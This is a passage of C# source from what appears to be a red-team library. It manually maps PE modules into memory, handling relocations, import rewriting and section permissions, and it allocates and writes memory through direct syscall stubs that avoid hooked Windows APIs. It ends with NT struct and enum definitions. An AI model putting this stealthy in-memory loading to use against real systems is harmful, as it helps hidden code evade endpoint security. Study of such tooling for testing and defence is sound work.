697 | // Perform relocation 698 | if (RelocType != 0) // IMAGE_REL_BASED_ABSOLUTE (0 -> skip reloc) 699 | { 700 | try 701 | { 702 | IntPtr pPatch = (IntPtr)((UInt64)ModuleMemoryBase + ibr.VirtualAdress + RelocPatch); 703 | if (RelocType == 0x3) // IMAGE_REL_BASED_HIGHLOW (x86) 704 | { 705 | Int32 OriginalPtr = Marshal.ReadInt32(pPatch); 706 | Marshal.WriteInt32(pPatch, (OriginalPtr + (Int32)ImageDelta)); 707 | } 708 | else // IMAGE_REL_BASED_DIR64 (x64) 709 | { 710 | Int64 OriginalPtr = Marshal.ReadInt64(pPatch); 711 | Marshal.WriteInt64(pPatch, (OriginalPtr + ImageDelta)); 712 | } 713 | } 714 | catch 715 | { 716 | throw new InvalidOperationException("Memory access violation."); 717 | } 718 | } 719 | } 720 | 721 | // Check for next block 722 | pRelocTable = (IntPtr)((UInt64)pRelocTable + ibr.SizeOfBlock); 723 | nextRelocTableBlock = Marshal.ReadInt32(pRelocTable); 724 | } 725 | } 726 | 727 | /// 728 | /// Rewrite IAT for manually mapped module. 729 | /// 730 | /// Ruben Boonen (@FuzzySec) 731 | /// Module meta data struct (PE.PE_META_DATA). 732 | /// Base address of the module in memory. 733 | /// void 734 | public static void RewriteModuleIAT(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase) 735 | { 736 | PE.IMAGE_DATA_DIRECTORY idd = PEINFO.Is32Bit ? PEINFO.OptHeader32.ImportTable : PEINFO.OptHeader64.ImportTable; 737 | 738 | // Check if there is no import table 739 | if (idd.VirtualAddress == 0) 740 | { 741 | // Return so that the rest of the module mapping process may continue. 742 | return; 743 | } 744 | 745 | // Ptr for the base import directory 746 | IntPtr pImportTable = (IntPtr)((UInt64)ModuleMemoryBase + idd.VirtualAddress); 747 | 748 | // Get API Set mapping dictionary if on Win10+ 749 | Native.OSVERSIONINFOEX OSVersion = new Native.OSVERSIONINFOEX(); 750 | DynamicNative.RtlGetVersion(ref OSVersion); 751 | Dictionary ApiSetDict = new Dictionary(); 752 | if (OSVersion.MajorVersion >= 10) 753 | { 754 | ApiSetDict = DynamicGeneric.GetApiSetMapping(); 755 | } 756 | 757 | // Loop IID's 758 | int counter = 0; 759 | Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR iid = new Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR(); 760 | iid = (Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)Marshal.PtrToStructure( 761 | (IntPtr)((UInt64)pImportTable + (uint)(Marshal.SizeOf(iid) * counter)), 762 | typeof(Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR) 763 | ); 764 | while (iid.Name != 0) 765 | { 766 | // Get DLL 767 | string DllName = string.Empty; 768 | try 769 | { 770 | DllName = Marshal.PtrToStringAnsi((IntPtr)((UInt64)ModuleMemoryBase + iid.Name)); 771 | } 772 | catch { } 773 | 774 | // Loop imports 775 | if (DllName == string.Empty) 776 | { 777 | throw new InvalidOperationException("Failed to read DLL name."); 778 | } 779 | else 780 | { 781 | // API Set DLL? 782 | if (OSVersion.MajorVersion >= 10 && (DllName.StartsWith("api-") || DllName.StartsWith("ext-")) && 783 | ApiSetDict.ContainsKey(DllName) && ApiSetDict[DllName].Length > 0) 784 | { 785 | // Not all API set DLL's have a registered host mapping 786 | DllName = ApiSetDict[DllName]; 787 | } 788 | 789 | // Check and / or load DLL 790 | IntPtr hModule = DynamicGeneric.GetLoadedModuleAddress(DllName); 791 | if (hModule == IntPtr.Zero) 792 | { 793 | hModule = DynamicGeneric.LoadModuleFromDisk(DllName); 794 | if (hModule == IntPtr.Zero) 795 | { 796 | throw new FileNotFoundException(DllName + ", unable to find the specified file."); 797 | } 798 | } 799 | 800 | // Loop thunks 801 | if (PEINFO.Is32Bit) 802 | { 803 | PE.IMAGE_THUNK_DATA32 oft_itd = new PE.IMAGE_THUNK_DATA32(); 804 | for (int i = 0; true; i++) 805 | { 806 | oft_itd = (PE.IMAGE_THUNK_DATA32)Marshal.PtrToStructure((IntPtr)((UInt64)ModuleMemoryBase + iid.OriginalFirstThunk + (UInt32)(i * (sizeof(UInt32)))), typeof(PE.IMAGE_THUNK_DATA32)); 807 | IntPtr ft_itd = (IntPtr)((UInt64)ModuleMemoryBase + iid.FirstThunk + (UInt64)(i * (sizeof(UInt32)))); 808 | if (oft_itd.AddressOfData == 0) 809 | { 810 | break; 811 | } 812 | 813 | if (oft_itd.AddressOfData < 0x80000000) // !IMAGE_ORDINAL_FLAG32 814 | { 815 | IntPtr pImpByName = (IntPtr)((UInt64)ModuleMemoryBase + oft_itd.AddressOfData + sizeof(UInt16)); 816 | IntPtr pFunc = IntPtr.Zero; 817 | pFunc = DynamicGeneric.GetNativeExportAddress(hModule, Marshal.PtrToStringAnsi(pImpByName)); 818 | 819 | // Write ProcAddress 820 | Marshal.WriteInt32(ft_itd, pFunc.ToInt32()); 821 | } 822 | else 823 | { 824 | ulong fOrdinal = oft_itd.AddressOfData & 0xFFFF; 825 | IntPtr pFunc = IntPtr.Zero; 826 | pFunc = DynamicGeneric.GetNativeExportAddress(hModule, (short)fOrdinal); 827 | 828 | // Write ProcAddress 829 | Marshal.WriteInt32(ft_itd, pFunc.ToInt32()); 830 | } 831 | } 832 | } 833 | else 834 | { 835 | PE.IMAGE_THUNK_DATA64 oft_itd = new PE.IMAGE_THUNK_DATA64(); 836 | for (int i = 0; true; i++) 837 | { 838 | oft_itd = (PE.IMAGE_THUNK_DATA64)Marshal.PtrToStructure((IntPtr)((UInt64)ModuleMemoryBase + iid.OriginalFirstThunk + (UInt64)(i * (sizeof(UInt64)))), typeof(PE.IMAGE_THUNK_DATA64)); 839 | IntPtr ft_itd = (IntPtr)((UInt64)ModuleMemoryBase + iid.FirstThunk + (UInt64)(i * (sizeof(UInt64)))); 840 | if (oft_itd.AddressOfData == 0) 841 | { 842 | break; 843 | } 844 | 845 | if (oft_itd.AddressOfData < 0x8000000000000000) // !IMAGE_ORDINAL_FLAG64 846 | { 847 | IntPtr pImpByName = (IntPtr)((UInt64)ModuleMemoryBase + oft_itd.AddressOfData + sizeof(UInt16)); 848 | IntPtr pFunc = IntPtr.Zero; 849 | pFunc = DynamicGeneric.GetNativeExportAddress(hModule, Marshal.PtrToStringAnsi(pImpByName)); 850 | 851 | // Write pointer 852 | Marshal.WriteInt64(ft_itd, pFunc.ToInt64()); 853 | } 854 | else 855 | { 856 | ulong fOrdinal = oft_itd.AddressOfData & 0xFFFF; 857 | IntPtr pFunc = IntPtr.Zero; 858 | pFunc = DynamicGeneric.GetNativeExportAddress(hModule, (short)fOrdinal); 859 | 860 | // Write pointer 861 | Marshal.WriteInt64(ft_itd, pFunc.ToInt64()); 862 | } 863 | } 864 | } 865 | counter++; 866 | iid = (Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR)Marshal.PtrToStructure( 867 | (IntPtr)((UInt64)pImportTable + (uint)(Marshal.SizeOf(iid) * counter)), 868 | typeof(Win32.Kernel32.IMAGE_IMPORT_DESCRIPTOR) 869 | ); 870 | } 871 | } 872 | } 873 | 874 | /// 875 | /// Set correct module section permissions. 876 | /// 877 | /// Ruben Boonen (@FuzzySec) 878 | /// Module meta data struct (PE.PE_META_DATA). 879 | /// Base address of the module in memory. 880 | /// void 881 | public static void SetModuleSectionPermissions(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase) 882 | { 883 | // Apply RO to the module header 884 | IntPtr BaseOfCode = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.BaseOfCode : (IntPtr)PEINFO.OptHeader64.BaseOfCode; 885 | DynamicNative.NtProtectVirtualMemory((IntPtr)(-1), ref ModuleMemoryBase, ref BaseOfCode, Win32.WinNT.PAGE_READONLY); 886 | 887 | // Apply section permissions 888 | foreach (PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections) 889 | { 890 | bool isRead = (ish.Characteristics & PE.DataSectionFlags.MEM_READ) != 0; 891 | bool isWrite = (ish.Characteristics & PE.DataSectionFlags.MEM_WRITE) != 0; 892 | bool isExecute = (ish.Characteristics & PE.DataSectionFlags.MEM_EXECUTE) != 0; 893 | uint flNewProtect = 0; 894 | if (isRead & !isWrite & !isExecute) 895 | { 896 | flNewProtect = Win32.WinNT.PAGE_READONLY; 897 | } 898 | else if (isRead & isWrite & !isExecute) 899 | { 900 | flNewProtect = Win32.WinNT.PAGE_READWRITE; 901 | } 902 | else if (isRead & isWrite & isExecute) 903 | { 904 | flNewProtect = Win32.WinNT.PAGE_EXECUTE_READWRITE; 905 | } 906 | else if (isRead & !isWrite & isExecute) 907 | { 908 | flNewProtect = Win32.WinNT.PAGE_EXECUTE_READ; 909 | } 910 | else if (!isRead & !isWrite & isExecute) 911 | { 912 | flNewProtect = Win32.WinNT.PAGE_EXECUTE; 913 | } 914 | else 915 | { 916 | throw new InvalidOperationException("Unknown section flag, " + ish.Characteristics); 917 | } 918 | 919 | // Calculate base 920 | IntPtr pVirtualSectionBase = (IntPtr)((UInt64)ModuleMemoryBase + ish.VirtualAddress); 921 | IntPtr ProtectSize = (IntPtr)ish.VirtualSize; 922 | 923 | // Set protection 924 | DynamicNative.NtProtectVirtualMemory((IntPtr)(-1), ref pVirtualSectionBase, ref ProtectSize, flNewProtect); 925 | } 926 | } 927 | 928 | /// 929 | /// Manually map module into current process. 930 | /// 931 | /// Ruben Boonen (@FuzzySec) 932 | /// Full path to the module on disk. 933 | /// PE_MANUAL_MAP object 934 | public static PE.PE_MANUAL_MAP MapModuleToMemory(string ModulePath) 935 | { 936 | // Alloc module into memory for parsing 937 | IntPtr pModule = AllocateFileToMemory(ModulePath); 938 | return MapModuleToMemory(pModule); 939 | } 940 | 941 | /// 942 | /// Manually map module into current process. 943 | /// 944 | /// Ruben Boonen (@FuzzySec) 945 | /// Full byte array of the module. 946 | /// PE_MANUAL_MAP object 947 | public static PE.PE_MANUAL_MAP MapModuleToMemory(byte[] Module) 948 | { 949 | // Alloc module into memory for parsing 950 | IntPtr pModule = AllocateBytesToMemory(Module); 951 | return MapModuleToMemory(pModule); 952 | } 953 | 954 | /// 955 | /// Manually map module into current process starting at the specified base address. 956 | /// 957 | /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) 958 | /// Full byte array of the module. 959 | /// Address in memory to map module to. 960 | /// PE_MANUAL_MAP object 961 | public static PE.PE_MANUAL_MAP MapModuleToMemory(byte[] Module, IntPtr pImage) 962 | { 963 | // Alloc module into memory for parsing 964 | IntPtr pModule = AllocateBytesToMemory(Module); 965 | 966 | return MapModuleToMemory(pModule, pImage); 967 | } 968 | 969 | /// 970 | /// Manually map module into current process. 971 | /// 972 | /// Ruben Boonen (@FuzzySec) 973 | /// Pointer to the module base. 974 | /// PE_MANUAL_MAP object 975 | public static PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule) 976 | { 977 | // Fetch PE meta data 978 | PE.PE_META_DATA PEINFO = DynamicGeneric.GetPeMetaData(pModule); 979 | 980 | // Check module matches the process architecture 981 | if ((PEINFO.Is32Bit && IntPtr.Size == 8) || (!PEINFO.Is32Bit && IntPtr.Size == 4)) 982 | { 983 | Marshal.FreeHGlobal(pModule); 984 | throw new InvalidOperationException("The module architecture does not match the process architecture."); 985 | } 986 | 987 | // Alloc PE image memory -> RW 988 | IntPtr BaseAddress = IntPtr.Zero; 989 | 990 | 991 | // Syscall NtAllocateVirtualMemory 992 | IntPtr pNtAllocateVirtualMemory = DynamicGeneric.GetSyscallStub("NtAllocateVirtualMemory"); 993 | DynamicNative.DELEGATES.NtAllocateVirtualMemory fSyscallNtAllocateVirtualMemory = (DynamicNative.DELEGATES.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(pNtAllocateVirtualMemory, typeof(DynamicNative.DELEGATES.NtAllocateVirtualMemory)); 994 | 995 | IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage; 996 | uint result = fSyscallNtAllocateVirtualMemory( 997 | (IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize, 998 | Win32.Kernel32.MEM_COMMIT | Win32.Kernel32.MEM_RESERVE, 999 | Win32.WinNT.PAGE_READWRITE 1000 | ); 1001 | 1002 | IntPtr pImage = IntPtr.Zero; 1003 | 1004 | if (result == 0) 1005 | { 1006 | Console.WriteLine("Successfully allocated memory!"); 1007 | pImage = BaseAddress; 1008 | } 1009 | else 1010 | { 1011 | Console.WriteLine("Failed to allocate memory, StatusCode: {0}", result); 1012 | } 1013 | 1014 | 1015 | return MapModuleToMemory(pModule, pImage, PEINFO); 1016 | } 1017 | 1018 | /// 1019 | /// Manually map module into current process. 1020 | /// 1021 | /// Ruben Boonen (@FuzzySec) 1022 | /// Pointer to the module base. 1023 | /// Pointer to the PEINFO image. 1024 | /// PE_MANUAL_MAP object 1025 | public static PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule, IntPtr pImage) 1026 | { 1027 | PE.PE_META_DATA PEINFO = DynamicGeneric.GetPeMetaData(pModule); 1028 | return MapModuleToMemory(pModule, pImage, PEINFO); 1029 | } 1030 | 1031 | /// 1032 | /// Manually map module into current process. 1033 | /// 1034 | /// Ruben Boonen (@FuzzySec) 1035 | /// Pointer to the module base. 1036 | /// Pointer to the PEINFO image. 1037 | /// PE_META_DATA of the module being mapped. 1038 | /// PE_MANUAL_MAP object 1039 | public static PE.PE_MANUAL_MAP MapModuleToMemory(IntPtr pModule, IntPtr pImage, PE.PE_META_DATA PEINFO) 1040 | { 1041 | 1042 | // Syscall NtWriteVirtualMemory 1043 | IntPtr pNtWriteVirtualMemory = DynamicGeneric.GetSyscallStub("NtWriteVirtualMemory"); 1044 | DynamicNative.DELEGATES.NtWriteVirtualMemory fSyscallNtWriteVirtualMemory = (DynamicNative.DELEGATES.NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(pNtWriteVirtualMemory, typeof(DynamicNative.DELEGATES.NtWriteVirtualMemory)); 1045 | 1046 | // Check module matches the process architecture 1047 | if ((PEINFO.Is32Bit && IntPtr.Size == 8) || (!PEINFO.Is32Bit && IntPtr.Size == 4)) 1048 | { 1049 | Marshal.FreeHGlobal(pModule); 1050 | throw new InvalidOperationException("The module architecture does not match the process architecture."); 1051 | } 1052 | 1053 | // Write PE header to memory 1054 | UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders; 1055 | UInt32 BytesWritten = 0; 1056 | uint result = fSyscallNtWriteVirtualMemory((IntPtr)(-1), pImage, pModule, SizeOfHeaders, ref BytesWritten); 1057 | 1058 | if (result == 0) 1059 | { 1060 | Console.WriteLine("Successfully wrote PE header"); 1061 | } 1062 | else 1063 | { 1064 | Console.WriteLine("Failed to write PE header, StatusCode: {0}", result); 1065 | } 1066 | 1067 | // Write sections to memory 1068 | foreach (PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections) 1069 | { 1070 | // Calculate offsets 1071 | IntPtr pVirtualSectionBase = (IntPtr)((UInt64)pImage + ish.VirtualAddress); 1072 | IntPtr pRawSectionBase = (IntPtr)((UInt64)pModule + ish.PointerToRawData); 1073 | 1074 | // Write data 1075 | result = fSyscallNtWriteVirtualMemory((IntPtr)(-1), pVirtualSectionBase, pRawSectionBase, ish.SizeOfRawData, ref BytesWritten); 1076 | if (BytesWritten != ish.SizeOfRawData) 1077 | { 1078 | throw new InvalidOperationException("Failed to write to memory."); 1079 | } 1080 | if (result == 0) 1081 | { 1082 | Console.WriteLine("Successfully wrote section {0}", ish.Section); 1083 | } 1084 | else 1085 | { 1086 | Console.WriteLine("Failed to write section {0}, StatusCode: {1}", ish.Name, result); 1087 | } 1088 | } 1089 | 1090 | // Perform relocations 1091 | RelocateModule(PEINFO, pImage); 1092 | 1093 | // Rewrite IAT 1094 | RewriteModuleIAT(PEINFO, pImage); 1095 | 1096 | // Set memory protections 1097 | SetModuleSectionPermissions(PEINFO, pImage); 1098 | 1099 | // Free temp HGlobal 1100 | Marshal.FreeHGlobal(pModule); 1101 | 1102 | // Prepare return object 1103 | PE.PE_MANUAL_MAP ManMapObject = new PE.PE_MANUAL_MAP 1104 | { 1105 | ModuleBase = pImage, 1106 | PEINFO = PEINFO 1107 | }; 1108 | 1109 | return ManMapObject; 1110 | } 1111 | 1112 | /// 1113 | /// Free a module that was mapped into the current process. 1114 | /// 1115 | /// The Wover (@TheRealWover) 1116 | /// The metadata of the manually mapped module. 1117 | public static void FreeModule(PE.PE_MANUAL_MAP PEMapped) 1118 | { 1119 | // Check if PE was mapped via module overloading 1120 | if (!string.IsNullOrEmpty(PEMapped.DecoyModule)) 1121 | { 1122 | DynamicNative.NtUnmapViewOfSection((IntPtr)(-1), PEMapped.ModuleBase); 1123 | } 1124 | // If PE not mapped via module overloading, free the memory. 1125 | else 1126 | { 1127 | PE.PE_META_DATA PEINFO = PEMapped.PEINFO; 1128 | 1129 | // Get the size of the module in memory 1130 | IntPtr size = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage; 1131 | IntPtr pModule = PEMapped.ModuleBase; 1132 | 1133 | DynamicNative.NtFreeVirtualMemory((IntPtr)(-1), ref pModule, ref size, Win32.Kernel32.MEM_RELEASE); 1134 | } 1135 | } 1136 | } 1137 | 1138 | public static class Native 1139 | { 1140 | [StructLayout(LayoutKind.Sequential)] 1141 | public struct UNICODE_STRING 1142 | { 1143 | public UInt16 Length; 1144 | public UInt16 MaximumLength; 1145 | public IntPtr Buffer; 1146 | } 1147 | 1148 | [StructLayout(LayoutKind.Sequential)] 1149 | public struct ANSI_STRING 1150 | { 1151 | public UInt16 Length; 1152 | public UInt16 MaximumLength; 1153 | public IntPtr Buffer; 1154 | } 1155 | 1156 | public struct PROCESS_BASIC_INFORMATION 1157 | { 1158 | public IntPtr ExitStatus; 1159 | public IntPtr PebBaseAddress; 1160 | public IntPtr AffinityMask; 1161 | public IntPtr BasePriority; 1162 | public UIntPtr UniqueProcessId; 1163 | public int InheritedFromUniqueProcessId; 1164 | 1165 | public int Size 1166 | { 1167 | get { return (int)Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)); } 1168 | } 1169 | } 1170 | 1171 | [StructLayout(LayoutKind.Sequential, Pack = 0)] 1172 | public struct OBJECT_ATTRIBUTES 1173 | { 1174 | public Int32 Length; 1175 | public IntPtr RootDirectory; 1176 | public IntPtr ObjectName; // -> UNICODE_STRING 1177 | public uint Attributes; 1178 | public IntPtr SecurityDescriptor; 1179 | public IntPtr SecurityQualityOfService; 1180 | } 1181 | 1182 | [StructLayout(LayoutKind.Sequential)] 1183 | public struct IO_STATUS_BLOCK 1184 | { 1185 | public IntPtr Status; 1186 | public IntPtr Information; 1187 | } 1188 | 1189 | [StructLayout(LayoutKind.Sequential)] 1190 | public struct CLIENT_ID 1191 | { 1192 | public IntPtr UniqueProcess; 1193 | public IntPtr UniqueThread; 1194 | } 1195 | 1196 | [StructLayout(LayoutKind.Sequential)] 1197 | public struct OSVERSIONINFOEX 1198 | { 1199 | public uint OSVersionInfoSize; 1200 | public uint MajorVersion; 1201 | public uint MinorVersion; 1202 | public uint BuildNumber; 1203 | public uint PlatformId; 1204 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] 1205 | public string CSDVersion; 1206 | public ushort ServicePackMajor; 1207 | public ushort ServicePackMinor; 1208 | public ushort SuiteMask; 1209 | public byte ProductType; 1210 | public byte Reserved; 1211 | } 1212 | 1213 | [StructLayout(LayoutKind.Sequential)] 1214 | public struct LIST_ENTRY 1215 | { 1216 | public IntPtr Flink; 1217 | public IntPtr Blink; 1218 | } 1219 | 1220 | public enum MEMORYINFOCLASS : int 1221 | { 1222 | MemoryBasicInformation = 0, 1223 | MemoryWorkingSetList, 1224 | MemorySectionName, 1225 | MemoryBasicVlmInformation 1226 | } 1227 | 1228 | public enum PROCESSINFOCLASS : int 1229 | { 1230 | ProcessBasicInformation = 0, // 0, q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION 1231 | ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX 1232 | ProcessIoCounters, // q: IO_COUNTERS 1233 | ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX 1234 | ProcessTimes, // q: KERNEL_USER_TIMES 1235 | ProcessBasePriority, // s: KPRIORITY 1236 | ProcessRaisePriority, // s: ULONG 1237 | ProcessDebugPort, // q: HANDLE 1238 | ProcessExceptionPort, // s: HANDLE 1239 | ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN 1240 | ProcessLdtInformation, // 10 1241 | ProcessLdtSize, 1242 | ProcessDefaultHardErrorMode, // qs: ULONG 1243 | ProcessIoPortHandlers, // (kernel-mode only) 1244 | ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS 1245 | ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void 1246 | ProcessUserModeIOPL, 1247 | ProcessEnableAlignmentFaultFixup, // s: BOOLEAN 1248 | ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS 1249 | ProcessWx86Information, 1250 | ProcessHandleCount, // 20, q: ULONG, PROCESS_HANDLE_INFORMATION 1251 | ProcessAffinityMask, // s: KAFFINITY 1252 | ProcessPriorityBoost, // qs: ULONG 1253 | ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX 1254 | ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION 1255 | ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND 1256 | ProcessWow64Information, // q: ULONG_PTR 1257 | ProcessImageFileName, // q: UNICODE_STRING 1258 | ProcessLUIDDeviceMapsEnabled, // q: ULONG 1259 | ProcessBreakOnTermination, // qs: ULONG 1260 | ProcessDebugObjectHandle, // 30, q: HANDLE 1261 | ProcessDebugFlags, // qs: ULONG 1262 | ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables 1263 | ProcessIoPriority, // qs: ULONG 1264 | ProcessExecuteFlags, // qs: ULONG 1265 | ProcessResourceManagement, 1266 | ProcessCookie, // q: ULONG 1267 | ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION 1268 | ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION 1269 | ProcessPagePriority, // q: ULONG 1270 | ProcessInstrumentationCallback, // 40 1271 | ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX 1272 | ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[] 1273 | ProcessImageFileNameWin32, // q: UNICODE_STRING 1274 | ProcessImageFileMapping, // q: HANDLE (input) 1275 | ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE 1276 | ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE 1277 | ProcessGroupInformation, // q: USHORT[] 1278 | ProcessTokenVirtualizationEnabled, // s: ULONG 1279 | ProcessConsoleHostProcess, // q: ULONG_PTR 1280 | ProcessWindowInformation, // 50, q: PROCESS_WINDOW_INFORMATION 1281 | ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8 1282 | ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION 1283 | ProcessDynamicFunctionTableInformation, 1284 | ProcessHandleCheckingMode, 1285 | ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION 1286 | ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION 1287 | MaxProcessInfoClass 1288 | }; 1289 | 1290 | /// 1291 | /// NT_CREATION_FLAGS is an undocumented enum. https://processhacker.sourceforge.io/doc/ntpsapi_8h_source.html 1292 | /// 1293 | public enum NT_CREATION_FLAGS : ulong 1294 | { 1295 | CREATE_SUSPENDED = 0x00000001, 1296 | SKIP_THREAD_ATTACH = 0x00000002, 1297 | HIDE_FROM_DEBUGGER = 0x00000004, 1298 | HAS_SECURITY_DESCRIPTOR = 0x00000010, 1299 | ACCESS_CHECK_IN_TARGET = 0x00000020, 1300 | INITIAL_THREAD = 0x00000080 1301 | } 1302 | 1303 | /// 1304 | /// NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55 1305 | /// https://www.pinvoke.net/default.aspx/Enums/NtStatus.html 1306 | /// 1307 | public enum NTSTATUS : uint 1308 | { 1309 | // Success 1310 | Success = 0x00000000, 1311 | Wait0 = 0x00000000, 1312 | Wait1 = 0x00000001, 1313 | Wait2 = 0x00000002, 1314 | Wait3 = 0x00000003, 1315 | Wait63 = 0x0000003f, 1316 | Abandoned = 0x00000080, 1317 | AbandonedWait0 = 0x00000080, 1318 | AbandonedWait1 = 0x00000081, 1319 | AbandonedWait2 = 0x00000082, 1320 | AbandonedWait3 = 0x00000083, 1321 | AbandonedWait63 = 0x000000bf, 1322 | UserApc = 0x000000c0, 1323 | KernelApc = 0x00000100, 1324 | Alerted = 0x00000101, 1325 | Timeout = 0x00000102, 1326 | Pending = 0x00000103, 1327 | Reparse = 0x00000104, 1328 | MoreEntries = 0x00000105, 1329 | NotAllAssigned = 0x00000106, 1330 | SomeNotMapped = 0x00000107, 1331 | OpLockBreakInProgress = 0x00000108, 1332 | VolumeMounted = 0x00000109, 1333 | RxActCommitted = 0x0000010a, 1334 | NotifyCleanup = 0x0000010b, 1335 | NotifyEnumDir = 0x0000010c, 1336 | NoQuotasForAccount = 0x0000010d, 1337 | PrimaryTransportConnectFailed = 0x0000010e, 1338 | PageFaultTransition = 0x00000110, 1339 | PageFaultDemandZero = 0x00000111, 1340 | PageFaultCopyOnWrite = 0x00000112, 1341 | PageFaultGuardPage = 0x00000113, 1342 | PageFaultPagingFile = 0x00000114, 1343 | CrashDump = 0x00000116, 1344 | ReparseObject = 0x00000118, 1345 | NothingToTerminate = 0x00000122, 1346 | ProcessNotInJob = 0x00000123, 1347 | ProcessInJob = 0x00000124, 1348 | ProcessCloned = 0x00000129, 1349 | FileLockedWithOnlyReaders = 0x0000012a, 1350 | FileLockedWithWriters = 0x0000012b, 1351 | 1352 | // Informational 1353 | Informational = 0x40000000, 1354 | ObjectNameExists = 0x40000000, 1355 | ThreadWasSuspended = 0x40000001, 1356 | WorkingSetLimitRange = 0x40000002, 1357 | ImageNotAtBase = 0x40000003, 1358 | RegistryRecovered = 0x40000009, 1359 | 1360 | // Warning 1361 | Warning = 0x80000000, 1362 | GuardPageViolation = 0x80000001, 1363 | DatatypeMisalignment = 0x80000002, 1364 | Breakpoint = 0x80000003, 1365 | SingleStep = 0x80000004, 1366 | BufferOverflow = 0x80000005, 1367 | NoMoreFiles = 0x80000006, 1368 | HandlesClosed = 0x8000000a, 1369 | PartialCopy = 0x8000000d, 1370 | DeviceBusy = 0x80000011, 1371 | InvalidEaName = 0x80000013, 1372 | EaListInconsistent = 0x80000014, 1373 | NoMoreEntries = 0x8000001a, 1374 | LongJump = 0x80000026, 1375 | DllMightBeInsecure = 0x8000002b, 1376 | 1377 | // Error 1378 | Error = 0xc0000000, 1379 | Unsuccessful = 0xc0000001, 1380 | NotImplemented = 0xc0000002, 1381 | InvalidInfoClass = 0xc0000003, 1382 | InfoLengthMismatch = 0xc0000004, 1383 | AccessViolation = 0xc0000005, 1384 | InPageError = 0xc0000006, 1385 | PagefileQuota = 0xc0000007, 1386 | InvalidHandle = 0xc0000008, 1387 | BadInitialStack = 0xc0000009, 1388 | BadInitialPc = 0xc000000a, 1389 | InvalidCid = 0xc000000b, 1390 | TimerNotCanceled = 0xc000000c, 1391 | InvalidParameter = 0xc000000d, 1392 | NoSuchDevice = 0xc000000e, 1393 | NoSuchFile = 0xc000000f, 1394 | InvalidDeviceRequest = 0xc0000010, 1395 | EndOfFile = 0xc0000011, 1396 | WrongVolume = 0xc0000012, 1397 | NoMediaInDevice = 0xc0000013, 1398 | NoMemory = 0xc0000017, 1399 | ConflictingAddresses = 0xc0000018, 1400 | NotMappedView = 0xc0000019, 1401 | UnableToFreeVm = 0xc000001a, 1402 | UnableToDeleteSection = 0xc000001b, 1403 | IllegalInstruction = 0xc000001d, 1404 | AlreadyCommitted = 0xc0000021, 1405 | AccessDenied = 0xc0000022, 1406 | BufferTooSmall = 0xc0000023, 1407 | ObjectTypeMismatch = 0xc0000024, 1408 | NonContinuableException = 0xc0000025, 1409 | BadStack = 0xc0000028, 1410 | NotLocked = 0xc000002a, 1411 | NotCommitted = 0xc000002d, 1412 | InvalidParameterMix = 0xc0000030, 1413 | ObjectNameInvalid = 0xc0000033, 1414 | ObjectNameNotFound = 0xc0000034, 1415 | ObjectNameCollision = 0xc0000035, 1416 | ObjectPathInvalid = 0xc0000039, 1417 | ObjectPathNotFound = 0xc000003a, 1418 | ObjectPathSyntaxBad = 0xc000003b, 1419 | DataOverrun = 0xc000003c, 1420 | DataLate = 0xc000003d, 1421 | DataError = 0xc000003e, 1422 | CrcError = 0xc000003f, 1423 | SectionTooBig = 0xc0000040, 1424 | PortConnectionRefused = 0xc0000041, 1425 | InvalidPortHandle = 0xc0000042, 1426 | SharingViolation = 0xc0000043, 1427 | QuotaExceeded = 0xc0000044, 1428 | InvalidPageProtection = 0xc0000045, 1429 | MutantNotOwned = 0xc0000046, 1430 | SemaphoreLimitExceeded = 0xc0000047, 1431 | 